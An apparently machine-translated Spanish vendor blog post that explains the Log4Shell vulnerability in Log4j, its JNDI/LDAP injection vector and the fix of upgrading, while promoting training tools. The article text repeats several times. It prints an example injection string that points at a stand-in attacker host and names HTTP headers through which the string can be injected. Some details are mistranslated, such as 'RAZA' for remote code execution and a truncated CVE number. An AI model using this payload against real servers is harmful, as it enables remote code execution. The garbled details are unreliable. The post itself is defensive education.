Explicación de la vulnerabilidad Log4j: su vector de ataque y cómo prevenirlo
El 9 de diciembre, se descubrió un exploit de 0 días en la biblioteca Java Log4j. CVE-44228, doblado Log4Shell, recibió una calificación de «gravedad alta», ya que el exploit puede provocar la ejecución remota de código (RAZA). Además, log4j-core es una de las bibliotecas de registro de Java más utilizadas y, por lo tanto, pone en riesgo millones de aplicaciones.
¿Quieres mejorar rápidamente tus habilidades para abordar Log4Shell?
Hemos creado un escaparate que lo lleva desde la idea básica de Log4Shell hasta la experiencia de cómo explota esta vulnerabilidad en un simulador llamado Mission. En esta misión, le mostraremos cómo la vulnerabilidad de Log4j puede afectar a su infraestructura y aplicaciones. Haga clic aquí para acceder directamente al escaparate, o continúe leyendo para obtener más información sobre la vulnerabilidad en detalle.
¿Noticias antiguas?
El exploit no es nuevo. Ya en su charla sobre BlackHat de 2016, los investigadores de seguridad Álvaro Muñoz y Oleksandr Mirosh hizo hincapié en que»las aplicaciones no deben realizar búsquedas de JNDI con datos que no sean de confianza», e ilustró cómo una inyección específica de JNDI/LDAP podría provocar la ejecución remota de código. Y esto es exactamente lo que constituye la esencia de Log4Shell.
Vector de ataque
La carga útil de inyección de Log4Shell tiene este aspecto:
$ {jndi:ldap: //attacker.host/xyz}
Para entender esto necesitamos conocer el lenguaje de expresión (EL) de Java. Expresiones escritas en la siguiente sintaxis: $ {expr} se evaluará en tiempo de ejecución. Por ejemplo, $ {java:version} devolverá la versión de Java que se está utilizando.
A continuación, está JNDI, o Interfaz de nombres y directorios de Java, que es una API que permite conectarse con servicios mediante protocolos como LDAP, DNS, RMI, etc. para recuperar datos o recursos. En pocas palabras, en el ejemplo anterior sobre cargas maliciosas, JNDI realiza una búsqueda en el servidor LDAP controlado por el atacante. Su respuesta podría, por ejemplo, apuntar a un archivo de clase Java que contenga código malintencionado, que a su vez se ejecutará en el servidor vulnerable.
Lo que hace que esta vulnerabilidad sea tan problemática es que Log4j evalúa todas las entradas de registro y realizará búsquedas de todas las entradas de los usuarios registrados escritas en la sintaxis EL con el prefijo «jndi». La carga útil se puede insertar en cualquier lugar donde los usuarios puedan introducir datos, como campos de formulario. Además, los encabezados HTTP, como Agente de usuario y X-Forwarded-Para, y otros encabezados, se pueden personalizar para transportar la carga útil.
Para experimentar el exploit tú mismo, dirígete a nuestra presentación y pasa al paso 2: «Impacto de la experiencia».
Prevención: Sensibilización
La actualización es la acción recomendada para todas las aplicaciones, ya que Log4j ha estado reparando el código vulnerable. Sin embargo, las versiones 2.15.0 y 2.16.0 contenían un ataque DDoS y otras vulnerabilidades, lo que significa que, a finales de diciembre, se recomienda actualizar a la 2.17.0.
Como desarrolladores que escriben código, debemos tener en cuenta la seguridad en todo momento. Log4Shell nos ha enseñado que el uso de marcos o bibliotecas de terceros conlleva riesgos. Debemos ser conscientes del hecho de que la seguridad de nuestra aplicación puede verse comprometida si utilizamos fuentes externas, que, ingenuamente, asumimos que son seguras.
¿Se podría haber evitado esta vulnerabilidad? Sí y no. Por un lado, los desarrolladores solo pueden hacer una cantidad limitada si los componentes vulnerables se introducen a través de software de terceros. Por otro lado, la lección que se ha aprendido de esto es una lección que se ha repetido una y otra vez, es decir, no hay que confiar nunca en las opiniones de los usuarios.
Secure Code Warrior cree que los desarrolladores preocupados por la seguridad son la mejor manera de evitar que se produzcan vulnerabilidades en el código. Dado que SCW proporciona una formación escalable y específica para el marco de programación, los clientes empresariales han podido localizar rápidamente quiénes son los desarrolladores de Java afectados utilizando los datos de los informes. También confiaron en sus expertos en seguridad formados en SCW para acelerar la actualización de Log4j.
Para los desarrolladores de Java en particular, Secure Code Warrior ofrece Sensei, un complemento IntelliJ gratuito. Esta herramienta de análisis de código basada en reglas se puede utilizar para hacer cumplir las directrices de codificación y prevenir y corregir las vulnerabilidades. Puede crear sus propias reglas o utilizar nuestras ya preparadas libros de cocina. Navegue por nuestro recetas, y no olvides descargar nuestro Libro de cocina Log4j lo que le ayudará a localizar y corregir la vulnerabilidad de Log4Shell en un abrir y cerrar de ojos.
Mejora tus habilidades defendiéndote de Log4Shell
¿Estás interesado en poner en práctica lo que has aprendido en esta entrada del blog? Nuestro escaparate puede ayudarte. Al principio de la presentación, haremos un repaso rápido de esta vulnerabilidad y, a continuación, accederemos a un entorno simulado en el que podrán probar el exploit siguiendo instrucciones guiadas.
En diciembre de 2021, se descubrió una vulnerabilidad de seguridad crítica, Log4Shell, en la biblioteca Java Log4j. En este artículo, desglosamos la vulnerabilidad de Log4Shell de la forma más sencilla para que comprendas lo básico y te presentemos una misión: un campo de juego en el que puedas intentar explotar un sitio web simulado con el conocimiento de esta vulnerabilidad.
Secure Code Warrior 您的组织在软件开发全生命周期中保护代码安全，并营造将网络安全置于首位的企业文化。无论您是应用安全管理员、开发人员、首席信息安全官，还是任何与安全相关的工作人员，我们都能助力您的组织降低不安全代码带来的风险。
预约演示
Laura Verheyde 是Secure Code Warrior 的一名软件开发人员，主要负责研究漏洞并为Missions 和编码实验室创建内容。
El 9 de diciembre, se descubrió un exploit de 0 días en la biblioteca Java Log4j. CVE-44228, doblado Log4Shell, recibió una calificación de «gravedad alta», ya que el exploit puede provocar la ejecución remota de código (RAZA). Además, log4j-core es una de las bibliotecas de registro de Java más utilizadas y, por lo tanto, pone en riesgo millones de aplicaciones.
¿Quieres mejorar rápidamente tus habilidades para abordar Log4Shell?
Hemos creado un escaparate que lo lleva desde la idea básica de Log4Shell hasta la experiencia de cómo explota esta vulnerabilidad en un simulador llamado Mission. En esta misión, le mostraremos cómo la vulnerabilidad de Log4j puede afectar a su infraestructura y aplicaciones. Haga clic aquí para acceder directamente al escaparate, o continúe leyendo para obtener más información sobre la vulnerabilidad en detalle.
¿Noticias antiguas?
El exploit no es nuevo. Ya en su charla sobre BlackHat de 2016, los investigadores de seguridad Álvaro Muñoz y Oleksandr Mirosh hizo hincapié en que»las aplicaciones no deben realizar búsquedas de JNDI con datos que no sean de confianza», e ilustró cómo una inyección específica de JNDI/LDAP podría provocar la ejecución remota de código. Y esto es exactamente lo que constituye la esencia de Log4Shell.
Vector de ataque
La carga útil de inyección de Log4Shell tiene este aspecto:
$ {jndi:ldap: //attacker.host/xyz}
Para entender esto necesitamos conocer el lenguaje de expresión (EL) de Java. Expresiones escritas en la siguiente sintaxis: $ {expr} se evaluará en tiempo de ejecución. Por ejemplo, $ {java:version} devolverá la versión de Java que se está utilizando.
A continuación, está JNDI, o Interfaz de nombres y directorios de Java, que es una API que permite conectarse con servicios mediante protocolos como LDAP, DNS, RMI, etc. para recuperar datos o recursos. En pocas palabras, en el ejemplo anterior sobre cargas maliciosas, JNDI realiza una búsqueda en el servidor LDAP controlado por el atacante. Su respuesta podría, por ejemplo, apuntar a un archivo de clase Java que contenga código malintencionado, que a su vez se ejecutará en el servidor vulnerable.
Lo que hace que esta vulnerabilidad sea tan problemática es que Log4j evalúa todas las entradas de registro y realizará búsquedas de todas las entradas de los usuarios registrados escritas en la sintaxis EL con el prefijo «jndi». La carga útil se puede insertar en cualquier lugar donde los usuarios puedan introducir datos, como campos de formulario. Además, los encabezados HTTP, como Agente de usuario y X-Forwarded-Para, y otros encabezados, se pueden personalizar para transportar la carga útil.
Para experimentar el exploit tú mismo, dirígete a nuestra presentación y pasa al paso 2: «Impacto de la experiencia».
Prevención: Sensibilización
La actualización es la acción recomendada para todas las aplicaciones, ya que Log4j ha estado reparando el código vulnerable. Sin embargo, las versiones 2.15.0 y 2.16.0 contenían un ataque DDoS y otras vulnerabilidades, lo que significa que, a finales de diciembre, se recomienda actualizar a la 2.17.0.
Como desarrolladores que escriben código, debemos tener en cuenta la seguridad en todo momento. Log4Shell nos ha enseñado que el uso de marcos o bibliotecas de terceros conlleva riesgos. Debemos ser conscientes del hecho de que la seguridad de nuestra aplicación puede verse comprometida si utilizamos fuentes externas, que, ingenuamente, asumimos que son seguras.
¿Se podría haber evitado esta vulnerabilidad? Sí y no. Por un lado, los desarrolladores solo pueden hacer una cantidad limitada si los componentes vulnerables se introducen a través de software de terceros. Por otro lado, la lección que se ha aprendido de esto es una lección que se ha repetido una y otra vez, es decir, no hay que confiar nunca en las opiniones de los usuarios.
Secure Code Warrior cree que los desarrolladores preocupados por la seguridad son la mejor manera de evitar que se produzcan vulnerabilidades en el código. Dado que SCW proporciona una formación escalable y específica para el marco de programación, los clientes empresariales han podido localizar rápidamente quiénes son los desarrolladores de Java afectados utilizando los datos de los informes. También confiaron en sus expertos en seguridad formados en SCW para acelerar la actualización de Log4j.
Para los desarrolladores de Java en particular, Secure Code Warrior ofrece Sensei, un complemento IntelliJ gratuito. Esta herramienta de análisis de código basada en reglas se puede utilizar para hacer cumplir las directrices de codificación y prevenir y corregir las vulnerabilidades. Puede crear sus propias reglas o utilizar nuestras ya preparadas libros de cocina. Navegue por nuestro recetas, y no olvides descargar nuestro Libro de cocina Log4j lo que le ayudará a localizar y corregir la vulnerabilidad de Log4Shell en un abrir y cerrar de ojos.
Mejora tus habilidades defendiéndote de Log4Shell
¿Estás interesado en poner en práctica lo que has aprendido en esta entrada del blog? Nuestro escaparate puede ayudarte. Al principio de la presentación, haremos un repaso rápido de esta vulnerabilidad y, a continuación, accederemos a un entorno simulado en el que podrán probar el exploit siguiendo instrucciones guiadas.
El 9 de diciembre, se descubrió un exploit de 0 días en la biblioteca Java Log4j. CVE-44228, doblado Log4Shell, recibió una calificación de «gravedad alta», ya que el exploit puede provocar la ejecución remota de código (RAZA). Además, log4j-core es una de las bibliotecas de registro de Java más utilizadas y, por lo tanto, pone en riesgo millones de aplicaciones.
¿Quieres mejorar rápidamente tus habilidades para abordar Log4Shell?
Hemos creado un escaparate que lo lleva desde la idea básica de Log4Shell hasta la experiencia de cómo explota esta vulnerabilidad en un simulador llamado Mission. En esta misión, le mostraremos cómo la vulnerabilidad de Log4j puede afectar a su infraestructura y aplicaciones. Haga clic aquí para acceder directamente al escaparate, o continúe leyendo para obtener más información sobre la vulnerabilidad en detalle.
¿Noticias antiguas?
El exploit no es nuevo. Ya en su charla sobre BlackHat de 2016, los investigadores de seguridad Álvaro Muñoz y Oleksandr Mirosh hizo hincapié en que»las aplicaciones no deben realizar búsquedas de JNDI con datos que no sean de confianza», e ilustró cómo una inyección específica de JNDI/LDAP podría provocar la ejecución remota de código. Y esto es exactamente lo que constituye la esencia de Log4Shell.
Vector de ataque
La carga útil de inyección de Log4Shell tiene este aspecto:
$ {jndi:ldap: //attacker.host/xyz}
Para entender esto necesitamos conocer el lenguaje de expresión (EL) de Java. Expresiones escritas en la siguiente sintaxis: $ {expr} se evaluará en tiempo de ejecución. Por ejemplo, $ {java:version} devolverá la versión de Java que se está utilizando.
A continuación, está JNDI, o Interfaz de nombres y directorios de Java, que es una API que permite conectarse con servicios mediante protocolos como LDAP, DNS, RMI, etc. para recuperar datos o recursos. En pocas palabras, en el ejemplo anterior sobre cargas maliciosas, JNDI realiza una búsqueda en el servidor LDAP controlado por el atacante. Su respuesta podría, por ejemplo, apuntar a un archivo de clase Java que contenga código malintencionado, que a su vez se ejecutará en el servidor vulnerable.
Lo que hace que esta vulnerabilidad sea tan problemática es que Log4j evalúa todas las entradas de registro y realizará búsquedas de todas las entradas de los usuarios registrados escritas en la sintaxis EL con el prefijo «jndi». La carga útil se puede insertar en cualquier lugar donde los usuarios puedan introducir datos, como campos de formulario. Además, los encabezados HTTP, como Agente de usuario y X-Forwarded-Para, y otros encabezados, se pueden personalizar para transportar la carga útil.
Para experimentar el exploit tú mismo, dirígete a nuestra presentación y pasa al paso 2: «Impacto de la experiencia».
Prevención: Sensibilización
La actualización es la acción recomendada para todas las aplicaciones, ya que Log4j ha estado reparando el código vulnerable. Sin embargo, las versiones 2.15.0 y 2.16.0 contenían un ataque DDoS y otras vulnerabilidades, lo que significa que, a finales de diciembre, se recomienda actualizar a la 2.17.0.
Como desarrolladores que escriben código, debemos tener en cuenta la seguridad en todo momento. Log4Shell nos ha enseñado que el uso de marcos o bibliotecas de terceros conlleva riesgos. Debemos ser conscientes del hecho de que la seguridad de nuestra aplicación puede verse comprometida si utilizamos fuentes externas, que, ingenuamente, asumimos que son seguras.
¿Se podría haber evitado esta vulnerabilidad? Sí y no. Por un lado, los desarrolladores solo pueden hacer una cantidad limitada si los componentes vulnerables se introducen a través de software de terceros. Por otro lado, la lección que se ha aprendido de esto es una lección que se ha repetido una y otra vez, es decir, no hay que confiar nunca en las opiniones de los usuarios.
Secure Code Warrior cree que los desarrolladores preocupados por la seguridad son la mejor manera de evitar que se produzcan vulnerabilidades en el código. Dado que SCW proporciona una formación escalable y específica para el marco de programación, los clientes empresariales han podido localizar rápidamente quiénes son los desarrolladores de Java afectados utilizando los datos de los informes. También confiaron en sus expertos en seguridad formados en SCW para acelerar la actualización de Log4j.
Para los desarrolladores de Java en particular, Secure Code Warrior ofrece Sensei, un complemento IntelliJ gratuito. Esta herramienta de análisis de código basada en reglas se puede utilizar para hacer cumplir las directrices de codificación y prevenir y corregir las vulnerabilidades. Puede crear sus propias reglas o utilizar nuestras ya preparadas libros de cocina. Navegue por nuestro recetas, y no olvides descargar nuestro Libro de cocina Log4j lo que le ayudará a localizar y corregir la vulnerabilidad de Log4Shell en un abrir y cerrar de ojos.
Mejora tus habilidades defendiéndote de Log4Shell
¿Estás interesado en poner en práctica lo que has aprendido en esta entrada del blog? Nuestro escaparate puede ayudarte. Al principio de la presentación, haremos un repaso rápido de esta vulnerabilidad y, a continuación, accederemos a un entorno simulado en el que podrán probar el exploit siguiendo instrucciones guiadas.
El 9 de diciembre, se descubrió un exploit de 0 días en la biblioteca Java Log4j. CVE-44228, doblado Log4Shell, recibió una calificación de «gravedad alta», ya que el exploit puede provocar la ejecución remota de código (RAZA). Además, log4j-core es una de las bibliotecas de registro de Java más utilizadas y, por lo tanto, pone en riesgo millones de aplicaciones.
¿Quieres mejorar rápidamente tus habilidades para abordar Log4Shell?
Hemos creado un escaparate que lo lleva desde la idea básica de Log4Shell hasta la experiencia de cómo explota esta vulnerabilidad en un simulador llamado Mission. En esta misión, le mostraremos cómo la vulnerabilidad de Log4j puede afectar a su infraestructura y aplicaciones. Haga clic aquí para acceder directamente al escaparate, o continúe leyendo para obtener más información sobre la vulnerabilidad en detalle.
¿Noticias antiguas?
El exploit no es nuevo. Ya en su charla sobre BlackHat de 2016, los investigadores de seguridad Álvaro Muñoz y Oleksandr Mirosh hizo hincapié en que»las aplicaciones no deben realizar búsquedas de JNDI con datos que no sean de confianza», e ilustró cómo una inyección específica de JNDI/LDAP podría provocar la ejecución remota de código. Y esto es exactamente lo que constituye la esencia de Log4Shell.
Vector de ataque
La carga útil de inyección de Log4Shell tiene este aspecto:
$ {jndi:ldap: //attacker.host/xyz}
Para entender esto necesitamos conocer el lenguaje de expresión (EL) de Java. Expresiones escritas en la siguiente sintaxis: $ {expr} se evaluará en tiempo de ejecución. Por ejemplo, $ {java:version} devolverá la versión de Java que se está utilizando.
A continuación, está JNDI, o Interfaz de nombres y directorios de Java, que es una API que permite conectarse con servicios mediante protocolos como LDAP, DNS, RMI, etc. para recuperar datos o recursos. En pocas palabras, en el ejemplo anterior sobre cargas maliciosas, JNDI realiza una búsqueda en el servidor LDAP controlado por el atacante. Su respuesta podría, por ejemplo, apuntar a un archivo de clase Java que contenga código malintencionado, que a su vez se ejecutará en el servidor vulnerable.
Lo que hace que esta vulnerabilidad sea tan problemática es que Log4j evalúa todas las entradas de registro y realizará búsquedas de todas las entradas de los usuarios registrados escritas en la sintaxis EL con el prefijo «jndi». La carga útil se puede insertar en cualquier lugar donde los usuarios puedan introducir datos, como campos de formulario. Además, los encabezados HTTP, como Agente de usuario y X-Forwarded-Para, y otros encabezados, se pueden personalizar para transportar la carga útil.
Para experimentar el exploit tú mismo, dirígete a nuestra presentación y pasa al paso 2: «Impacto de la experiencia».
Prevención: Sensibilización
La actualización es la acción recomendada para todas las aplicaciones, ya que Log4j ha estado reparando el código vulnerable. Sin embargo, las versiones 2.15.0 y 2.16.0 contenían un ataque DDoS y otras vulnerabilidades, lo que significa que, a finales de diciembre, se recomienda actualizar a la 2.17.0.
Como desarrolladores que escriben código, debemos tener en cuenta la seguridad en todo momento. Log4Shell nos ha enseñado que el uso de marcos o bibliotecas de terceros conlleva riesgos. Debemos ser conscientes del hecho de que la seguridad de nuestra aplicación puede verse comprometida si utilizamos fuentes externas, que, ingenuamente, asumimos que son seguras.
¿Se podría haber evitado esta vulnerabilidad? Sí y no. Por un lado, los desarrolladores solo pueden hacer una cantidad limitada si los componentes vulnerables se introducen a través de software de terceros. Por otro lado, la lección que se ha aprendido de esto es una lección que se ha repetido una y otra vez, es decir, no hay que confiar nunca en las opiniones de los usuarios.
Secure Code Warrior cree que los desarrolladores preocupados por la seguridad son la mejor manera de evitar que se produzcan vulnerabilidades en el código. Dado que SCW proporciona una formación escalable y específica para el marco de programación, los clientes empresariales han podido localizar rápidamente quiénes son los desarrolladores de Java afectados utilizando los datos de los informes. También confiaron en sus expertos en seguridad formados en SCW para acelerar la actualización de Log4j.
Para los desarrolladores de Java en particular, Secure Code Warrior ofrece Sensei, un complemento IntelliJ gratuito. Esta herramienta de análisis de código basada en reglas se puede utilizar para hacer cumplir las directrices de codificación y prevenir y corregir las vulnerabilidades. Puede crear sus propias reglas o utilizar nuestras ya preparadas libros de cocina. Navegue por nuestro recetas, y no olvides descargar nuestro Libro de cocina Log4j lo que le ayudará a localizar y corregir la vulnerabilidad de Log4Shell en un abrir y cerrar de ojos.
Mejora tus habilidades defendiéndote de Log4Shell
¿Estás interesado en poner en práctica lo que has aprendido en esta entrada del blog? Nuestro escaparate puede ayudarte. Al principio de la presentación, haremos un repaso rápido de esta vulnerabilidad y, a continuación, accederemos a un entorno simulado en el que podrán probar el exploit siguiendo instrucciones guiadas.
%20(1).avif)
.avif)
